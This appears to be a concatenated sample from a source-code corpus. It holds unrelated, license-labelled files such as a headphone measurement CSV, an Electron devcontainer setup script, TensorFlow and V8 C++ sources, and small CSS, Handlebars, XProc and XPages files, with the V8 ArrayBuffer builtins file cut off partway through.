1501.43,2.03
1516.45,2.06
1531.61,2.09
1546.93,2.17
1562.40,2.03
1578.02,2.06
1593.80,2.18
1609.74,2.11
1625.84,2.12
1642.10,2.20
1658.52,2.18
1675.10,2.02
1691.85,1.80
1708.77,1.52
1725.86,1.31
1743.12,1.15
1760.55,1.03
1778.15,0.92
1795.94,0.87
1813.90,0.83
1832.03,0.72
1850.36,0.62
1868.86,0.59
1887.55,0.66
1906.42,0.57
1925.49,0.39
1944.74,0.11
1964.19,-0.03
1983.83,-0.13
2003.67,-0.40
2023.71,-0.40
2043.94,-0.40
2064.38,-0.38
2085.03,-0.39
2105.88,-0.52
2126.94,-0.57
2148.20,-0.18
2169.69,0.12
2191.38,0.10
2213.30,-0.07
2235.43,-0.44
2257.78,-0.91
2280.36,-1.08
2303.17,-1.08
2326.20,-1.09
2349.46,-0.91
2372.95,-0.41
2396.68,-0.12
2420.65,-0.10
2444.86,0.16
2469.31,0.72
2494.00,0.90
2518.94,1.08
2544.13,1.40
2569.57,1.80
2595.27,2.05
2621.22,2.43
2647.43,3.19
2673.90,3.79
2700.64,4.45
2727.65,5.05
2754.93,5.65
2782.48,6.05
2810.30,6.46
2838.40,6.66
2866.79,6.81
2895.46,7.00
2924.41,6.76
2953.65,7.01
2983.19,7.32
3013.02,7.83
3043.15,8.12
3073.58,8.17
3104.32,8.41
3135.36,8.50
3166.72,8.56
3198.38,8.56
3230.37,8.23
3262.67,8.06
3295.30,8.08
3328.25,8.07
3361.53,7.83
3395.15,7.50
3429.10,7.17
3463.39,6.86
3498.03,6.93
3533.01,6.97
3568.34,6.54
3604.02,6.26
3640.06,5.96
3676.46,5.37
3713.22,4.64
3750.36,4.18
3787.86,3.88
3825.74,3.20
3864.00,2.68
3902.64,2.05
3941.66,1.45
3981.08,1.03
4020.89,0.50
4061.10,-0.28
4101.71,-1.00
4142.73,-1.56
4184.15,-1.88
4226.00,-2.03
4268.26,-2.01
4310.94,-1.92
4354.05,-2.02
4397.59,-2.18
4441.56,-2.18
4485.98,-1.92
4530.84,-1.69
4576.15,-1.57
4621.91,-1.60
4668.13,-1.47
4714.81,-1.53
4761.96,-1.68
4809.58,-1.67
4857.67,-1.17
4906.25,-0.90
4955.31,-1.04
5004.87,-1.34
5054.91,-1.60
5105.46,-1.75
5156.52,-1.57
5208.08,-1.28
5260.16,-1.10
5312.77,-0.91
5365.89,-0.75
5419.55,-0.84
5473.75,-0.61
5528.49,-0.55
5583.77,-0.62
5639.61,-0.85
5696.00,-0.93
5752.96,-1.31
5810.49,-1.42
5868.60,-1.44
5927.28,-1.15
5986.56,-1.05
6046.42,-1.28
6106.89,-1.32
6167.96,-1.21
6229.64,-1.17
6291.93,-1.10
6354.85,-1.12
6418.40,-1.28
6482.58,-1.48
6547.41,-1.74
6612.88,-1.98
6679.01,-2.30
6745.80,-2.64
6813.26,-3.26
6881.39,-3.78
6950.21,-4.47
7019.71,-5.08
7089.91,-5.31
7160.81,-5.48
7232.41,-5.32
7304.74,-5.04
7377.79,-4.90
7451.56,-4.84
7526.08,-4.78
7601.34,-4.78
7677.35,-4.52
7754.13,-4.10
7831.67,-3.77
7909.98,-3.31
7989.08,-2.63
8068.98,-2.05
8149.67,-1.51
8231.16,-0.87
8313.47,-0.26
8396.61,0.16
8480.57,0.44
8565.38,0.71
8651.03,0.86
8737.54,1.04
8824.92,1.22
8913.17,1.34
9002.30,1.24
9092.32,1.02
9183.25,0.99
9275.08,1.04
9367.83,0.93
9461.51,0.76
9556.12,0.46
9651.68,0.09
9748.20,-0.40
9845.68,-1.08
9944.14,-1.69
10043.58,-2.50
10144.02,-3.60
10245.46,-4.56
10347.91,-5.63
10451.39,-7.12
10555.91,-8.72
10661.46,-9.73
10768.08,-8.51
10875.76,-7.59
10984.52,-5.46
11094.36,-3.51
11205.31,-3.66
11317.36,-4.49
11430.53,-4.82
11544.84,-4.89
11660.29,-4.59
11776.89,-4.68
11894.66,-4.98
12013.60,-5.28
12133.74,-5.42
12255.08,-5.68
12377.63,-6.40
12501.41,-6.77
12626.42,-6.97
12752.68,-7.00
12880.21,-7.16
13009.01,-6.86
13139.10,-7.54
13270.49,-8.58
13403.20,-9.19
13537.23,-9.42
13672.60,-10.20
13809.33,-11.16
13947.42,-12.28
14086.90,-12.32
14227.77,-12.74
14370.04,-13.60
14513.74,-14.51
14658.88,-15.37
14805.47,-15.91
14953.52,-16.03
15103.06,-15.38
15254.09,-14.77
15406.63,-14.41
15560.70,-15.33
15716.30,-16.28
15873.47,-16.87
16032.20,-16.76
16192.52,-16.48
16354.45,-15.96
16517.99,-15.63
16683.17,-15.60
16850.01,-15.49
17018.51,-15.15
17188.69,-14.56
17360.58,-13.86
17534.18,-13.20
17709.53,-12.77
17886.62,-13.09
18065.49,-13.96
18246.14,-14.64
18428.60,-14.45
18612.89,-13.68
18799.02,-12.35
18987.01,-10.92
19176.88,-10.83
19368.65,-10.91
19562.33,-10.97
19757.96,-10.46
19955.54,-10.03
| CSV | 2 | vinzmc/AutoEq | measurements/innerfidelity/data/onear/Koss ESP950 (sample 1)/Koss ESP950 (sample 1).csv | [
"MIT"
] |
#!/bin/bash
set -eo pipefail
buildtools=$HOME/.electron_build_tools
gclient_root=/workspaces/gclient
buildtools_configs=/workspaces/buildtools-configs
export PATH="$PATH:$buildtools/src"
# Create the persisted buildtools config folder
mkdir -p $buildtools_configs
rm -f $buildtools/configs
ln -s $buildtools_configs $buildtools/configs
# Write the gclient config if it does not already exist
if [ ! -f $gclient_root/.gclient ]; then
echo "solutions = [
{ \"name\" : \"src/electron\",
\"url\" : \"https://github.com/electron/electron\",
\"deps_file\" : \"DEPS\",
\"managed\" : False,
\"custom_deps\" : {
},
\"custom_vars\": {},
},
]
" >$gclient_root/.gclient
fi
# Write the default buildtools config file if it does
# not already exist
if [ ! -f $buildtools/configs/evm.testing.json ]; then
write_config() {
echo "
{
\"root\": \"/workspaces/gclient\",
\"goma\": \"$1\",
\"gen\": {
\"args\": [
\"import(\\\"//electron/build/args/testing.gn\\\")\",
\"import(\\\"/home/builduser/.electron_build_tools/third_party/goma.gn\\\")\"
],
\"out\": \"Testing\"
},
\"env\": {
\"CHROMIUM_BUILDTOOLS_PATH\": \"/workspaces/gclient/src/buildtools\",
\"GIT_CACHE_PATH\": \"/workspaces/gclient/.git-cache\"
},
\"remotes\": {
\"electron\": {
\"origin\": \"https://github.com/electron/electron.git\"
}
}
}
" >$buildtools/configs/evm.testing.json
}
# Start out as cache only
write_config cache-only
e use testing
# Attempt to auth to the goma service via codespaces tokens
# if it works we can use the goma cluster
export NOTGOMA_CODESPACES_TOKEN=$GITHUB_TOKEN
if e d goma_auth login; then
write_config cluster
fi
else
# Even if the config file existed we still need to re-auth with the goma
# cluster
NOTGOMA_CODESPACES_TOKEN=$GITHUB_TOKEN e d goma_auth login || true
fi
| Shell | 3 | TarunavBA/electron | .devcontainer/on-create-command.sh | [
"MIT"
] |
///////////////////////////////////////////////////
// Sigmund: sinusoidal analysis & pitch tracking //
// //
// by Miller Puckette //
// //
///////////////////////////////////////////////////
// Options:
// npts (int): number of points used in analysis.
// Must be a power of 2, at least 128. The
// minimum frequency that can be tracked is
// about 2 * samplerate / npts
// default: 1024
//
// npeak (int): maximum number of sinusoidal peaks
// to look for. The computation time is
// quadratic in the number of peaks actually
// found (this number only sets an upper
// limit). Use it to balance CPU time with
// quality of results.
//
// maxfreq (float): maximum frequency of sinusoidal
// peaks to look for. This can be useful in
// situations where background nose creates
// high-frequency, spurious peaks...
//
// minpower (float): minimum dB level to
// report a pitch. Signals quieter than this
// will be assumed to be crosstalk and ignored.
// default: 50
//
// freq() (read-only): get reported frequency of
// input signal
//
// env() (read-only): get reported RMS value (in dB)
// of input signal
//
// peak (int): report freq of nth sinusoundal peak
// sorting depends on parameter "dotracks"
//
// amp (int): report amplitude of nth sinusoundal peak
// sorting depends on parameter "dotracks"
//
// tracks (0/1): toggle whether peak and amp are
// sorted in order of amplitude or organized into
// tracks
//
// clear(): clear buffers and reset
//
// param1, param2, param3 (float): mysterious settings...
// must connect to blackhole to perform DSP
TriOsc foo => Sigmund siggy => blackhole;
4096 => siggy.npts;
20 => siggy.npeak;
1000 => siggy.maxfreq;
25 => siggy.minpower;
while (true)
{
Math.random2f(5,300) => foo.freq;
Math.random2f(0,1) => foo.gain;
second => now;
<<< "Real frequency:",foo.freq(),"real gain:",foo.gain(),"Sigmund found this:",siggy.freq(), "power:", siggy.env() >>>;
}
| ChucK | 5 | ccdarabundit/chugins | Sigmund/sigmund-help.ck | [
"MIT"
] |
PreFIX : <http://www.w3.org/2013/TurtleTests/>
| Turtle | 3 | joshrose/audacity | lib-src/lv2/serd/tests/TurtleTests/turtle-syntax-prefix-02.ttl | [
"CC-BY-3.0"
] |
button {
margin-top: 1rem;
}
label {
display: block;
margin-bottom: .5rem;
}
| CSS | 3 | John-Cassidy/angular | aio/content/examples/router/src/app/heroes/hero-detail/hero-detail.component.css | [
"MIT"
] |
<p:declare-step version="1.0" name="validate-with-schematron" type="schxslt:validate-with-schematron"
xmlns:p="http://www.w3.org/ns/xproc"
xmlns:schxslt="https://doi.org/10.5281/zenodo.1495494">
<p:option name="phase" select="''"/>
<p:input port="source" primary="true"/>
<p:input port="schema"/>
<p:output port="result" primary="true">
<p:pipe step="validate-with-schematron" port="source"/>
</p:output>
<p:output port="report">
<p:pipe step="validate" port="result"/>
</p:output>
<p:serialization port="report" indent="true"/>
<p:import href="compile-schematron.xpl"/>
<schxslt:compile-schematron name="compile-schematron">
<p:input port="source">
<p:pipe step="validate-with-schematron" port="schema"/>
</p:input>
<p:with-option name="phase" select="$phase"/>
</schxslt:compile-schematron>
<p:xslt name="validate">
<p:input port="source">
<p:pipe step="validate-with-schematron" port="source"/>
</p:input>
<p:input port="stylesheet">
<p:pipe step="compile-schematron" port="result"/>
</p:input>
<p:input port="parameters">
<p:empty/>
</p:input>
</p:xslt>
</p:declare-step>
| XProc | 4 | ahenket/schxslt | core/src/main/resources/xproc/1.0/validate-with-schematron.xpl | [
"MIT"
] |
export default function Day() {
return <div>Hello Day</div>
}
| JavaScript | 2 | blomqma/next.js | examples/basic-export/pages/day/index.js | [
"MIT"
] |
/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/core/framework/op.h"
#include "tensorflow/core/framework/shape_inference.h"
namespace tensorflow {
using tensorflow::shape_inference::InferenceContext;
using tensorflow::shape_inference::ShapeHandle;
REGISTER_OP("EncodeProto")
.Input("sizes: int32")
.Input("values: Tinput_types")
.Attr("field_names: list(string)")
.Attr("message_type: string")
.Attr("descriptor_source: string = 'local://'")
.Attr("Tinput_types: list(type)")
.Output("bytes: string")
.SetShapeFn([](InferenceContext* c) {
int first_field_index = 1;
int num_fields = c->num_inputs() - 1;
ShapeHandle output;
for (int i = num_fields - 1; i >= 0; --i) {
ShapeHandle input = c->input(first_field_index + i);
TF_RETURN_IF_ERROR(c->WithRankAtLeast(input, 2, &input));
ShapeHandle inner;
TF_RETURN_IF_ERROR(c->Subshape(input, 0, -1, &inner));
TF_RETURN_IF_ERROR(c->Merge(inner, output, &output));
}
c->set_output(0, output);
return Status::OK();
});
} // namespace tensorflow
| C++ | 5 | abhaikollara/tensorflow | tensorflow/core/ops/encode_proto_ops.cc | [
"Apache-2.0"
] |
<div {{hello param hash=key}} {{goodbye param}}>
Hello
</div>
<div {{hello param param param param param param param param param param param param}}>
Hello
</div>
<div {{hello hashPair=value hashPair=value hashPair=value hashPair=value hashPair=value}}>
Hello
</div>
<div {{hello param param param param hashPair=value hashPair=value hashPair=value hashPair=value hashPair=value}}>
Hello
</div>
| Handlebars | 0 | fuelingtheweb/prettier | tests/glimmer/element-modifier-statement.hbs | [
"MIT"
] |
<?xml version="1.0" encoding="UTF-8"?>
<!-- ******************************************************************* -->
<!-- -->
<!-- Copyright IBM Corp. 2010, 2014 -->
<!-- -->
<!-- Licensed under the Apache License, Version 2.0 (the "License"); -->
<!-- you may not use this file except in compliance with the License. -->
<!-- You may obtain a copy of the License at: -->
<!-- -->
<!-- http://www.apache.org/licenses/LICENSE-2.0 -->
<!-- -->
<!-- Unless required by applicable law or agreed to in writing, software -->
<!-- distributed under the License is distributed on an "AS IS" BASIS, -->
<!-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or -->
<!-- implied. See the License for the specific language governing -->
<!-- permissions and limitations under the License. -->
<!-- -->
<!-- ******************************************************************* -->
<!-- DO NOT EDIT. THIS FILE IS GENERATED. -->
<faces-config>
<faces-config-extension>
<namespace-uri>http://www.ibm.com/xsp/coreex</namespace-uri>
<default-prefix>xe</default-prefix>
<designer-extension>
<control-subpackage-name>tagcloud</control-subpackage-name>
</designer-extension>
</faces-config-extension>
<component>
<description>%component.tagCloud.descr%</description>
<display-name>%component.tagCloud.name%</display-name>
<component-type>com.ibm.xsp.extlib.tagcloud.TagCloud</component-type>
<component-class>com.ibm.xsp.extlib.component.tagcloud.UITagCloud</component-class>
<group-type-ref>com.ibm.xsp.extlib.group.aria_label</group-type-ref>
<property>
<description>%property.sliderVisible.descr%</description>
<display-name>%property.sliderVisible.name%</display-name>
<property-name>sliderVisible</property-name>
<property-class>boolean</property-class>
<property-extension>
<default-value>true</default-value>
<tags>todo</tags>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>%property.alternateText.descr%</description>
<display-name>%property.alternateText.name%</display-name>
<property-name>alternateText</property-name>
<property-class>string</property-class>
<property-extension>
<localizable>true</localizable>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>%property.cloudData.descr%</description>
<display-name>%property.cloudData.name%</display-name>
<property-name>cloudData</property-name>
<property-class>com.ibm.xsp.extlib.component.tagcloud.ITagCloudData</property-class>
<property-extension>
<allow-run-time-binding>false</allow-run-time-binding>
<designer-extension>
<category>data</category>
</designer-extension>
</property-extension>
</property>
<component-extension>
<component-family>javax.faces.Panel</component-family>
<renderer-type>com.ibm.xsp.extlib.tagcloud.TagCloud</renderer-type>
<tag-name>tagCloud</tag-name>
<designer-extension>
<in-palette>true</in-palette>
<category>Extension Library</category>
</designer-extension>
</component-extension>
</component>
<complex-type>
<description>%complex-type.com.ibm.xsp.extlib.component.tagcloud.ITagCloudData.descr%</description>
<display-name>%complex-type.com.ibm.xsp.extlib.component.tagcloud.ITagCloudData.name%</display-name>
<complex-id>com.ibm.xsp.extlib.component.tagcloud.ITagCloudData</complex-id>
<complex-class>com.ibm.xsp.extlib.component.tagcloud.ITagCloudData</complex-class>
</complex-type>
</faces-config>
| XPages | 3 | jesse-gallagher/XPagesExtensionLibrary | extlib/lwp/product/runtime/eclipse/plugins/com.ibm.xsp.extlib.controls/src/com/ibm/xsp/extlib/config/extlib-tagcloud.xsp-config | [
"Apache-2.0"
] |
(module
(type $i (func (result i32)))
(global $testGlobal i32 (i32.const 2))
(export "test" (func $test))
(func $test (; 0 ;) (type $i) (result i32)
(get_global $testGlobal)
)
) | WebAssembly | 3 | romdotdog/assemblyscript | tests/binaryen/const-global.wat | [
"Apache-2.0"
] |
// Copyright 2016 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "src/builtins/builtins-utils-inl.h"
#include "src/builtins/builtins.h"
#include "src/handles/maybe-handles-inl.h"
#include "src/heap/heap-inl.h" // For ToBoolean. TODO(jkummerow): Drop.
#include "src/logging/counters.h"
#include "src/numbers/conversions.h"
#include "src/objects/js-array-buffer-inl.h"
#include "src/objects/objects-inl.h"
namespace v8 {
namespace internal {
#define CHECK_SHARED(expected, name, method) \
if (name->is_shared() != expected) { \
THROW_NEW_ERROR_RETURN_FAILURE( \
isolate, \
NewTypeError(MessageTemplate::kIncompatibleMethodReceiver, \
isolate->factory()->NewStringFromAsciiChecked(method), \
name)); \
}
#define CHECK_RESIZABLE(expected, name, method) \
if (name->is_resizable() != expected) { \
THROW_NEW_ERROR_RETURN_FAILURE( \
isolate, \
NewTypeError(MessageTemplate::kIncompatibleMethodReceiver, \
isolate->factory()->NewStringFromAsciiChecked(method), \
name)); \
}
// -----------------------------------------------------------------------------
// ES#sec-arraybuffer-objects
namespace {
bool RoundUpToPageSize(size_t byte_length, size_t page_size,
size_t max_allowed_byte_length, size_t* pages) {
size_t bytes_wanted = RoundUp(byte_length, page_size);
if (bytes_wanted > max_allowed_byte_length) {
return false;
}
*pages = bytes_wanted / page_size;
return true;
}
Object ConstructBuffer(Isolate* isolate, Handle<JSFunction> target,
Handle<JSReceiver> new_target, Handle<Object> length,
Handle<Object> max_length, InitializedFlag initialized) {
SharedFlag shared = *target != target->native_context().array_buffer_fun()
? SharedFlag::kShared
: SharedFlag::kNotShared;
ResizableFlag resizable = max_length.is_null() ? ResizableFlag::kNotResizable
: ResizableFlag::kResizable;
Handle<JSObject> result;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, result,
JSObject::New(target, new_target, Handle<AllocationSite>::null()));
auto array_buffer = Handle<JSArrayBuffer>::cast(result);
// Ensure that all fields are initialized because BackingStore::Allocate is
// allowed to GC. Note that we cannot move the allocation of the ArrayBuffer
// after BackingStore::Allocate because of the spec.
array_buffer->Setup(shared, resizable, nullptr);
size_t byte_length;
size_t max_byte_length = 0;
if (!TryNumberToSize(*length, &byte_length) ||
byte_length > JSArrayBuffer::kMaxByteLength) {
// ToNumber failed.
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewRangeError(MessageTemplate::kInvalidArrayBufferLength));
}
std::unique_ptr<BackingStore> backing_store;
if (resizable == ResizableFlag::kNotResizable) {
backing_store =
BackingStore::Allocate(isolate, byte_length, shared, initialized);
max_byte_length = byte_length;
} else {
if (!TryNumberToSize(*max_length, &max_byte_length)) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate,
NewRangeError(MessageTemplate::kInvalidArrayBufferMaxLength));
}
if (byte_length > max_byte_length) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate,
NewRangeError(MessageTemplate::kInvalidArrayBufferMaxLength));
}
size_t page_size = AllocatePageSize();
size_t initial_pages;
if (!RoundUpToPageSize(byte_length, page_size,
JSArrayBuffer::kMaxByteLength, &initial_pages)) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewRangeError(MessageTemplate::kInvalidArrayBufferLength));
}
size_t max_pages;
if (!RoundUpToPageSize(max_byte_length, page_size,
JSArrayBuffer::kMaxByteLength, &max_pages)) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate,
NewRangeError(MessageTemplate::kInvalidArrayBufferMaxLength));
}
constexpr bool kIsWasmMemory = false;
backing_store = BackingStore::TryAllocateAndPartiallyCommitMemory(
isolate, byte_length, max_byte_length, page_size, initial_pages,
max_pages, kIsWasmMemory, shared);
}
if (!backing_store) {
// Allocation of backing store failed.
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewRangeError(MessageTemplate::kArrayBufferAllocationFailed));
}
array_buffer->Attach(std::move(backing_store));
array_buffer->set_max_byte_length(max_byte_length);
return *array_buffer;
}
} // namespace
// ES #sec-arraybuffer-constructor
BUILTIN(ArrayBufferConstructor) {
HandleScope scope(isolate);
Handle<JSFunction> target = args.target();
DCHECK(*target == target->native_context().array_buffer_fun() ||
*target == target->native_context().shared_array_buffer_fun());
if (args.new_target()->IsUndefined(isolate)) { // [[Call]]
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kConstructorNotFunction,
handle(target->shared().Name(), isolate)));
}
// [[Construct]]
Handle<JSReceiver> new_target = Handle<JSReceiver>::cast(args.new_target());
Handle<Object> length = args.atOrUndefined(isolate, 1);
Handle<Object> number_length;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, number_length,
Object::ToInteger(isolate, length));
if (number_length->Number() < 0.0) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewRangeError(MessageTemplate::kInvalidArrayBufferLength));
}
Handle<Object> number_max_length;
if (FLAG_harmony_rab_gsab) {
Handle<Object> max_length;
Handle<Object> options = args.atOrUndefined(isolate, 2);
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, max_length,
JSObject::ReadFromOptionsBag(
options, isolate->factory()->max_byte_length_string(), isolate));
if (!max_length->IsUndefined(isolate)) {
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, number_max_length, Object::ToInteger(isolate, max_length));
}
}
return ConstructBuffer(isolate, target, new_target, number_length,
number_max_length, InitializedFlag::kZeroInitialized);
}
// This is a helper to construct an ArrayBuffer with uinitialized memory.
// This means the caller must ensure the buffer is totally initialized in
// all cases, or we will expose uinitialized memory to user code.
BUILTIN(ArrayBufferConstructor_DoNotInitialize) {
HandleScope scope(isolate);
Handle<JSFunction> target(isolate->native_context()->array_buffer_fun(),
isolate);
Handle<Object> length = args.atOrUndefined(isolate, 1);
return ConstructBuffer(isolate, target, target, length, Handle<Object>(),
InitializedFlag::kUninitialized);
}
static Object SliceHelper(BuiltinArguments args, Isolate* isolate,
const char* kMethodName, bool is_shared) {
HandleScope scope(isolate);
Handle<Object> start = args.at(1);
Handle<Object> end = args.atOrUndefined(isolate, 2);
// * If Type(O) is not Object, throw a TypeError exception.
// * If O does not have an [[ArrayBufferData]] internal slot, throw a
// TypeError exception.
CHECK_RECEIVER(JSArrayBuffer, array_buffer, kMethodName);
// * [AB] If IsSharedArrayBuffer(O) is true, throw a TypeError exception.
// * [SAB] If IsSharedArrayBuffer(O) is false, throw a TypeError exception.
CHECK_SHARED(is_shared, array_buffer, kMethodName);
// * [AB] If IsDetachedBuffer(buffer) is true, throw a TypeError exception.
if (!is_shared && array_buffer->was_detached()) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kDetachedOperation,
isolate->factory()->NewStringFromAsciiChecked(
kMethodName)));
}
// * [AB] Let len be O.[[ArrayBufferByteLength]].
// * [SAB] Let len be O.[[ArrayBufferByteLength]].
double const len = array_buffer->GetByteLength();
// * Let relativeStart be ? ToInteger(start).
Handle<Object> relative_start;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, relative_start,
Object::ToInteger(isolate, start));
// * If relativeStart < 0, let first be max((len + relativeStart), 0); else
// let first be min(relativeStart, len).
double const first = (relative_start->Number() < 0)
? std::max(len + relative_start->Number(), 0.0)
: std::min(relative_start->Number(), len);
// * If end is undefined, let relativeEnd be len; else let relativeEnd be ?
// ToInteger(end).
double relative_end;
if (end->IsUndefined(isolate)) {
relative_end = len;
} else {
Handle<Object> relative_end_obj;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, relative_end_obj,
Object::ToInteger(isolate, end));
relative_end = relative_end_obj->Number();
}
// * If relativeEnd < 0, let final be max((len + relativeEnd), 0); else let
// final be min(relativeEnd, len).
double const final_ = (relative_end < 0) ? std::max(len + relative_end, 0.0)
: std::min(relative_end, len);
// * Let newLen be max(final-first, 0).
double const new_len = std::max(final_ - first, 0.0);
Handle<Object> new_len_obj = isolate->factory()->NewNumber(new_len);
// * [AB] Let ctor be ? SpeciesConstructor(O, %ArrayBuffer%).
// * [SAB] Let ctor be ? SpeciesConstructor(O, %SharedArrayBuffer%).
Handle<JSFunction> constructor_fun = is_shared
? isolate->shared_array_buffer_fun()
: isolate->array_buffer_fun();
Handle<Object> ctor;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, ctor,
Object::SpeciesConstructor(
isolate, Handle<JSReceiver>::cast(args.receiver()), constructor_fun));
// * Let new be ? Construct(ctor, newLen).
Handle<JSReceiver> new_;
{
const int argc = 1;
base::ScopedVector<Handle<Object>> argv(argc);
argv[0] = new_len_obj;
Handle<Object> new_obj;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, new_obj, Execution::New(isolate, ctor, argc, argv.begin()));
new_ = Handle<JSReceiver>::cast(new_obj);
}
// * If new does not have an [[ArrayBufferData]] internal slot, throw a
// TypeError exception.
if (!new_->IsJSArrayBuffer()) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate,
NewTypeError(MessageTemplate::kIncompatibleMethodReceiver,
isolate->factory()->NewStringFromAsciiChecked(kMethodName),
new_));
}
// * [AB] If IsSharedArrayBuffer(new) is true, throw a TypeError exception.
// * [SAB] If IsSharedArrayBuffer(new) is false, throw a TypeError exception.
Handle<JSArrayBuffer> new_array_buffer = Handle<JSArrayBuffer>::cast(new_);
CHECK_SHARED(is_shared, new_array_buffer, kMethodName);
// The created ArrayBuffer might or might not be resizable, since the species
// constructor might return a non-resizable or a resizable buffer.
// * [AB] If IsDetachedBuffer(new) is true, throw a TypeError exception.
if (!is_shared && new_array_buffer->was_detached()) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kDetachedOperation,
isolate->factory()->NewStringFromAsciiChecked(
kMethodName)));
}
// * [AB] If SameValue(new, O) is true, throw a TypeError exception.
if (!is_shared && new_->SameValue(*args.receiver())) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kArrayBufferSpeciesThis));
}
// * [SAB] If new.[[ArrayBufferData]] and O.[[ArrayBufferData]] are the same
// Shared Data Block values, throw a TypeError exception.
if (is_shared &&
new_array_buffer->backing_store() == array_buffer->backing_store()) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kSharedArrayBufferSpeciesThis));
}
// * If new.[[ArrayBufferByteLength]] < newLen, throw a TypeError exception.
size_t new_array_buffer_byte_length = new_array_buffer->GetByteLength();
if (new_array_buffer_byte_length < new_len) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate,
NewTypeError(is_shared ? MessageTemplate::kSharedArrayBufferTooShort
: MessageTemplate::kArrayBufferTooShort));
}
// * [AB] NOTE: Side-effects of the above steps may have detached O.
// * [AB] If IsDetachedBuffer(O) is true, throw a TypeError exception.
if (!is_shared && array_buffer->was_detached()) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kDetachedOperation,
isolate->factory()->NewStringFromAsciiChecked(
kMethodName)));
}
// * Let fromBuf be O.[[ArrayBufferData]].
// * Let toBuf be new.[[ArrayBufferData]].
// * Perform CopyDataBlockBytes(toBuf, 0, fromBuf, first, newLen).
size_t first_size = first;
size_t new_len_size = new_len;
DCHECK(new_array_buffer_byte_length >= new_len_size);
if (new_len_size != 0) {
size_t from_byte_length = array_buffer->GetByteLength();
if (V8_UNLIKELY(!is_shared && array_buffer->is_resizable())) {
// The above steps might have resized the underlying buffer. In that case,
// only copy the still-accessible portion of the underlying data.
if (first_size > from_byte_length) {
return *new_; // Nothing to copy.
}
if (new_len_size > from_byte_length - first_size) {
new_len_size = from_byte_length - first_size;
}
}
DCHECK(first_size <= from_byte_length);
DCHECK(from_byte_length - first_size >= new_len_size);
uint8_t* from_data =
reinterpret_cast<uint8_t*>(array_buffer->backing_store()) + first_size;
uint8_t* to_data =
reinterpret_cast<uint8_t*>(new_array_buffer->backing_store());
if (is_shared) {
base::Relaxed_Memcpy(reinterpret_cast<base::Atomic8*>(to_data),
reinterpret_cast<base::Atomic8*>(from_data),
new_len_size);
} else {
CopyBytes(to_data, from_data, new_len_size);
}
}
return *new_;
}
// ES #sec-sharedarraybuffer.prototype.slice
BUILTIN(SharedArrayBufferPrototypeSlice) {
const char* const kMethodName = "SharedArrayBuffer.prototype.slice";
return SliceHelper(args, isolate, kMethodName, true);
}
// ES #sec-arraybuffer.prototype.slice
// ArrayBuffer.prototype.slice ( start, end )
BUILTIN(ArrayBufferPrototypeSlice) {
const char* const kMethodName = "ArrayBuffer.prototype.slice";
return SliceHelper(args, isolate, kMethodName, false);
}
static Object ResizeHelper(BuiltinArguments args, Isolate* isolate,
const char* kMethodName, bool is_shared) {
HandleScope scope(isolate);
// 1 Let O be the this value.
// 2. Perform ? RequireInternalSlot(O, [[ArrayBufferMaxByteLength]]).
CHECK_RECEIVER(JSArrayBuffer, array_buffer, kMethodName);
CHECK_RESIZABLE(true, array_buffer, kMethodName);
// [RAB] 3. If IsSharedArrayBuffer(O) is true, throw a *TypeError* exception
// [GSAB] 3. If IsSharedArrayBuffer(O) is false, throw a *TypeError* exception
CHECK_SHARED(is_shared, array_buffer, kMethodName);
// Let newByteLength to ? ToIntegerOrInfinity(newLength).
Handle<Object> new_length = args.at(1);
Handle<Object> number_new_byte_length;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, number_new_byte_length,
Object::ToInteger(isolate, new_length));
// [RAB] If IsDetachedBuffer(O) is true, throw a TypeError exception.
if (!is_shared && array_buffer->was_detached()) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kDetachedOperation,
isolate->factory()->NewStringFromAsciiChecked(
kMethodName)));
}
// [RAB] If newByteLength < 0 or newByteLength >
// O.[[ArrayBufferMaxByteLength]], throw a RangeError exception.
// [GSAB] If newByteLength < currentByteLength or newByteLength >
// O.[[ArrayBufferMaxByteLength]], throw a RangeError exception.
size_t new_byte_length;
if (!TryNumberToSize(*number_new_byte_length, &new_byte_length)) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewRangeError(MessageTemplate::kInvalidArrayBufferResizeLength,
isolate->factory()->NewStringFromAsciiChecked(
kMethodName)));
}
